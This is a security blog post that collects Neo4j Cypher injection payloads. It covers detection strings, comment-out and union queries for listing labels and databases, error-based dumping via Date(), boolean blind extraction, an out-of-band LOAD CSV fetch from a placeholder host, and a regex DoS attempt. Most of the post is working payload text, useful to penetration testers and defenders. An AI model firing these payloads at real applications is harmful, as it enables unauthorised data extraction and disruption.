Just Another Hacker
Author's avatar

Neo4j (Cypher graph query language) injection

I recently came across an injection issue in an app using the Neo4j database for storage. As I had not come across this before and there doesn’t seem to be many posts covering this I thought I would compile a list of syntax that can accomplish most of the common tasks when exploiting query based injection. I used the free sandbox from Neo4j to test these: https://sandbox.neo4j.com/

A simple query should look something like this:

MATCH (a:Movie {title: 'Johnny Mnemonic'}) RETURN a

or

MATCH (a:Movie) WHERE a.title = "Johnny Mnemonic" RETURN a

or

MATCH (a:Movie) RETURN a LIMIT 20

or

MATCH (a:Movie) RETURN a ORDER BY title

Detection

Detection of a vulnerable Neo4j query is mostly similar to detecting SQL injection, try using any of the following payloads in the example queries above:

  • "
  • )
  • int-int (ie: 12-1)
  • int/0 (ie: 12/0)
  • prepend a string like zxlck.

Payload Johnny 'Mnemonic:

MATCH (a:Movie {title: 'Johnny 'Mnemonic'})
RETURN a

Yields the following:

Invalid input 'Mnemonic': expected
...
(line 1, column 33 (offset: 32))
"MATCH (a:Movie {title: 'Johnny 'Mnemonic'})"

Exploitation

We can inject the necesary characters to form valid syntax '})and then comment out the rest with //. Payload Johnny '}) // yields no error or matches:

MATCH (a:Movie {title: 'Johnny '}) //Mnemonic'})
RETURN a

List tables:

match(a) return distinct labels(a)

Injectable:

MATCH (n:Movie) where n.title = "abc injectect" return 123 as b union match (a) return distinct labels(a) as b //

Select databases:

CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;

seems injectable:

match (a) where 1 < 2 CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;

match (a) where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName limit 1;

match (a) where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN date(row.name) as dbName skip 2 limit 1;

Union

Like other database injection techniques we can also do union:

MATCH (n:Movie) RETURN n LIMIT 25 union all match (b:sysinfo) return b

With union both sides must match, which can be solved by inject a fixed return before the union:

match (b:Person) where b.name = '' return size("123") as test union match (a:Movie) return size(keys(a)[2]) as test limit 1

Error based injection

If error messages are enabled, most data can simply be dumped out by placing it inside the Date() function as it will fail to convert it to a date and error out the argument it received instead:

MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))

Blind exploitation

Neo4j does not have a time/sleep function, but we can still perform boolean blind injections Number of columns:

match (a) return size(keys(a)) limit 1

Length of column:

match (a) where a.title = '' or 4 = size('1234') return a limit 1

Length of first column:

match (a) return size(keys(a)[0]) limit 1

Length of table name:

match (b:Person) where b.name = '' return size("123") as test union match (a) return size(keys(a)) as test limit 1

If condition:

match (a:Movie) return a order by case 'a' when 'b' then a.title else a.name end

Substring/Char:

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return substring(keys(b)[0],0,1) as test//'

Putting it together:

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "a" then 2 else 3 end as test//'

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "n" then 2 else 3 end as test//'

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 1 then 2 else 3 end as test//'

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 4 then 2 else 3 end as test//'

OOB

This appears to be the best documented technique, I didn’t spot any easy way to exfil data or environment variables and it does not appear to relay NTLM, but I didn’t investigate that deeply.

LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})

Regex DoS?

Bonus issue, it may or may not work:

MATCH (p)
WHERE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" =~ '(..\*)*'
RETURN "pwnt"

graudit

Static source code analysis tool for finding vulnerabilities in source code.

htshells

Self contained attacks against per directory configuration in web servers.

PHP omelette

Code obfuscation tool for bypassing web application firewalls.

More

All of the project information on one page!